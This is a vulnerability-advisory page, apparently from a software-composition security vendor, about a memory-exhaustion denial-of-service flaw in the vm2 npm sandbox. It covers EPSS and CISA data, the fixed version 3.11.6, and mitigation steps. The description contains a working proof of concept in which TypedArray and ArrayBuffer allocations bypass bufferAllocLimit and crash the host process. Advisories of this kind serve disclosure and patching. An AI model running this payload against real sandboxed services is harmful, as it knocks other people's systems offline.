Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
HIGH severity

GHSA-v836-6xw4-9cx3 — vm2

HIGH

GHSA-v836-6xw4-9cx3 is a high-severity (CVSS 7.5) CWE-770 vulnerability in vm2. A fix is available for vm2 — see the affected versions and patch details below.

vm2 has Memory Exhaustion DoS via bufferAllocLimit Bypass

Also known asCVE-2026-92961
Published
Aug 17, 2026
Updated
Sep 18, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-v836-6xw4-9cx3.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk
0.03%0.37%0.70%1.03%0.5%0.5%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-v836-6xw4-9cx3 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 382,205 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

902other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
vm2npm
1.3Mdownloads / week

Description

Summary:

The bufferAllocLimit defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using ArrayBuffer, SharedArrayBuffer, or any TypedArray constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as Buffer.alloc but are not subject to the size cap.

Details:

The bufferAllocLimit option (vm2 v3.11.0+) caps Buffer.alloc, Buffer.allocUnsafe, Buffer.allocUnsafeSlow, and the deprecated Buffer(N) / new Buffer(N) forms. The cap is enforced in setup-sandbox.js via checkBufferAllocLimit() (line 353-359).

However, ArrayBuffer, SharedArrayBuffer, Uint8Array, Float64Array, and all other TypedArray constructors are sandbox-realm V8 intrinsics that allocate host memory through the SAME underlying C++ path (v8::ArrayBuffer::NewBackingStore → ArrayBufferAllocator::Allocate → calloc/malloc). These constructors are NOT intercepted by the bufferAllocLimit defense.

A single new ArrayBuffer(N) call with a large N exhausts host RSS in one synchronous allocation that V8's timeout cannot interrupt.

Environment:

  • vm2 version: 3.11.3
  • Node.js: v25.8.1 (affects all Node.js versions)
  • Configuration: Default new VM() or any configuration including bufferAllocLimit

POC:

const { VM } = require('vm2');

// Operator sets bufferAllocLimit thinking they're protected:
const vm = new VM({ bufferAllocLimit: 10 * 1024 * 1024 }); // 10MB cap

// Buffer.alloc IS capped (as intended):
try { vm.run('Buffer.alloc(20 * 1024 * 1024)'); }
catch(e) { console.log('Buffer.alloc blocked:', e.message); }
// → "Buffer allocation size 20971520 exceeds bufferAllocLimit 10485760"

// But these BYPASS the cap entirely:
vm.run('new ArrayBuffer(1024 * 1024 * 1024)');        // 1GB allocated!
vm.run('new SharedArrayBuffer(1024 * 1024 * 1024)');  // 1GB allocated!
vm.run('new Uint8Array(1024 * 1024 * 1024)');         // 1GB allocated!
vm.run('new Float64Array(128 * 1024 * 1024)');        // 1GB allocated!

// OOM kill in constrained environments (Docker, K8s, Lambda):
vm.run('var a=[]; for(var i=0;i<100;i++) a.push(new ArrayBuffer(100*1024*1024))');
// → 10GB allocated → host OOM killed

Verification:

node -e '
const {VM} = require("./lib/main.js");
const vm = new VM({bufferAllocLimit: 10*1024*1024});
try { vm.run("Buffer.alloc(20*1024*1024)"); } catch(e) { console.log("Buffer BLOCKED"); }
console.log("ArrayBuffer:", vm.run("new ArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
console.log("SharedArrayBuffer:", vm.run("new SharedArrayBuffer(100*1024*1024).byteLength"), "bytes allocated");
'
# Output:
# Buffer BLOCKED
# ArrayBuffer: 104857600 bytes allocated
# SharedArrayBuffer: 104857600 bytes allocated

Impact:

  • Type: Denial of Service (Host Memory Exhaustion)
  • Attack Complexity: Low
  • Availability Impact: Complete, host process OOM killed in memory-constrained environments
  • Affected deployments: Docker containers, Kubernetes pods, AWS Lambda, any environment with memory limits. Especially dangerous when operators explicitly set bufferAllocLimit believing they have DoS protection.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmvm2all versions3.11.6npm install vm2@3.11.6

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vm2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update vm2 to 3.11.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-v836-6xw4-9cx3 is resolved across your whole dependency graph.

  3. Workarounds

    Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

This is an Important denial of service vulnerability in vm2, a JavaScript sandbox. A remote attacker can bypass internal resource limits within the sandbox, allowing them to allocate arbitrary host memory. This can lead to the exhaustion of system resources and a denial of service for the host system running…

Workaround published by Red Hat
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.
Source: Red Hat security advisory for GHSA-v836-6xw4-9cx3 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat Ansible Automation Platform 2.1ansible-automation-platform/automation-portal:1790254963RHSA-2026:72712
Red Hat Ansible Automation Platform 2.2ansible-automation-platform/automation-portal:1790256405RHSA-2026:72722

Frequently Asked Questions

### Summary: The `bufferAllocLimit` defense (GHSA-6785-pvv7-mvg7) can be completely bypassed using `ArrayBuffer`, `SharedArrayBuffer`, or any `TypedArray` constructor. These allocate identical host-process RSS through the same V8/libuv C++ allocation path as `Buffer.alloc` but are not subject to the size cap. ### Details: The `bufferAllocLimit` option (vm2 v3.11.0+) caps `Buffer.alloc`, `Buffer.allocUnsafe`, `Buffer.allocUnsafeSlow`, and the deprecated `Buffer(N)` / `new Buffer(N)` forms. The cap is enforced in `setup-sandbox.js` via `checkBufferAllocLimit()` (line 353-359). However, `Arra
O3 Security · Impact-Aware SCA

Is GHSA-v836-6xw4-9cx3 in your dependencies?

Find it across npm, including transitive dependencies.

GHSA-v836-6xw4-9cx3: vm2 — Fixed in 3.11.6 | O3 Security